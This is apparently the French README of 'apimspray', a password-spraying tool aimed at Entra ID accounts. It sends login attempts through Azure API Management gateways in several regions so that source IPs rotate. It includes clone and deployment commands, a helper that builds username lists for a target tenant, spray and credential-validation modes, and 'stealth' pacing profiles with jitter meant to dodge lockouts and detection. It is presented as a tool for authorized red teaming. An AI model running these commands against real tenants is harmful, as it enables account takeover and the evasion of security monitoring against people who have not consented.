
Mini proxy Azure apim
apimspray est une boîte à outils de pulvérisation de mots de passe Entra ID spécialisée, conçue pour la recherche en sécurité autorisée et le Red Teaming. Elle utilise les passerelles Azure API Management (APIM) comme une couche proxy distribuée et rotative pour la rotation d'adresses IP.
Lisez l'article de blog pour plus de détails sur ce projet.
az) : nécessaire pour le script rotateur afin de déployer les ressources. (Exécutez le script depuis une session CLI déjà authentifiée auprès d'az cli ou utilisez Azure Cloud Shell)pip install -r requirements.txt
az login
Exécutez apimspray directement depuis un environnement Azure authentifié.
git clone https://github.com/crtvrffnrt/apimspray.git
cd apimspray
python3 apimspray.py --help
Déployez plusieurs passerelles APIM dans différentes régions
python3 apimspraycreate.py --count 5 --outfile urls.txt
Déploie 33 instances APIM dans Germanywestcentral et westeurope et enregistre dans urls.txt
python3 apimspraycreate.py --location germanywestcentral,westeurope --count 33 --outfile urls.txt
Référence CLI apimspraycreate :
usage: apimspraycreate.py [-h] --outfile OUTFILE [--count COUNT] [--location LOCATION] [--prefix PREFIX] [--realm-prefix REALM_PREFIX] [--delete-old]
apimspraycreate - Déploiement APIM Azure
options:
-h, --help affiche ce message d'aide et quitte
--outfile OUTFILE fichier de sortie pour les URLs
--count COUNT nombre d'instances
--location LOCATION emplacement(s) APIM (séparés par des virgules) où déployer. Lorsque fourni, seules ces régions sont utilisées et le premier emplacement sert pour le groupe de ressources.
--prefix PREFIX préfixe d'URL API
--realm-prefix REALM_PREFIX
préfixe d'API Realm
--delete-old supprimer les anciens groupes de ressources
Important : Pour toutes les méthodes, vous devez avoir une session az active en arrière-plan (az login).
Assurez-vous d'avoir vos listes cibles prêtes :
users.txt : liste des UserPrincipalNames (ex. [email protected]).passwords.txt : liste des mots de passe à pulvériser.Si vous ne disposez pas d'une liste d'utilisateurs, vous pouvez utiliser le script d'assistance generate_upns.py. Cet outil :
users.txt.Utilisation :
# Générer users.txt pour un domaine ou un ID de locataire spécifique
python3 generate_upns.py --target example.com
# OU en utilisant l'ID du locataire
python3 generate_upns.py --target 00000000-0000-0000-0000-000000000000
Référence CLI generate_upns :
usage: generate_upns.py [-h] --target TARGET
Générer des UPN à partir des locataires Azure connectés et des comptes de service.
options:
-h, --help affiche ce message d'aide et quitte
--target TARGET domaine cible (ex. example.com) ou UUID du locataire
usage: apimspray.py [-h] [--urls URLS] [--users USERS] [--passwords PASSWORDS] [--output OUTPUT] [--tenant TENANT] [--domain DOMAIN] --mode {spray,validate} [--pace {stealth,low,mid,medium,high}]
[--continue-on-success]
apimspray - Outil d'évaluation Entra ID
options:
-h, --help affiche ce message d'aide et quitte
--urls URLS chemin vers le fichier d'URL APIM (provenant de apimspraycreate.py ou apimsprayrotator.sh)
--users USERS chemin vers le fichier d'utilisateurs
--passwords PASSWORDS
chemin vers le fichier de mots de passe
--output OUTPUT répertoire de sortie
--tenant TENANT ID du locataire ou domaine
--domain DOMAIN ajouter le domaine aux utilisateurs si manquant
--mode {spray,validate}
mode d'opération. 'spray' teste tous les mots de passe contre tous les utilisateurs (1:N). 'validate' effectue un test 1:1 de paires d'identifiants.
--pace {stealth,low,mid,medium,high}
profil de cadence pour les requêtes et la gestion du verrouillage :
- high: 15 workers, 0.1s délai, 10 passes/tronçon, 5m attente verrouillage, 20 seuil sécurité
- medium: 5 workers, 1.0s délai, 5 passes/tronçon, 10m attente verrouillage, 10 seuil sécurité, 10% gigue
- low: 2 workers, 5.0s délai, 2 passes/tronçon, 15m attente verrouillage, 5 seuil sécurité, 20% gigue
- stealth: 1 worker, 30.0s délai, 1 passe/tronçon, 20m attente verrouillage, 1 seuil sécurité, 40% gigue
--continue-on-success
continuer l'évaluation même après avoir trouvé des identifiants valides.
validate : vérifie une liste de paires utilisateur:motdepasse. Nécessite des listes de longueur égale.
python3 apimspray.py --urls urls.txt --mode validate --users u.txt --passwords p.txt
spray : tente un mot de passe contre tous les utilisateurs, puis attend (si configuré), puis passe au mot de passe suivant.
python3 apimspray.py --urls urls.txt --mode spray --users users.txt --passwords common_passwords.txt --pace medium
L'argument --pace contrôle l'agressivité de la pulvérisation. Les valeurs sont codées en dur pour garantir la stabilité et la sécurité.
AADSTS50053), l'outil s'arrête immédiatement.Les résultats sont stockés dans le répertoire results/<timestamp>/ :
valid_*.txt : authentifications réussies (MFA requise ou jeton reçu).blocked_*.txt : comptes verrouillés ou bloqués conditionnellement.failed_*.txt : identifiants invalides ou utilisateur non trouvé.| Profil | Workers | Délai | Compte (Tronçon) | Attente Verrouillage | Seuil Sécurité | Gigue |
|---|
high | 15 | 0.1s | 10 | 5m | 20 verrouillé | 0% |
medium | 5 | 1.0s | 5 | 10m | 10 verrouillé | 10% |
low | 2 | 5.0s | 2 | 15m | 5 verrouillé | 20% |
stealth | 1 | 30.0s | 1 | 20m | 1 verrouillé | 40% |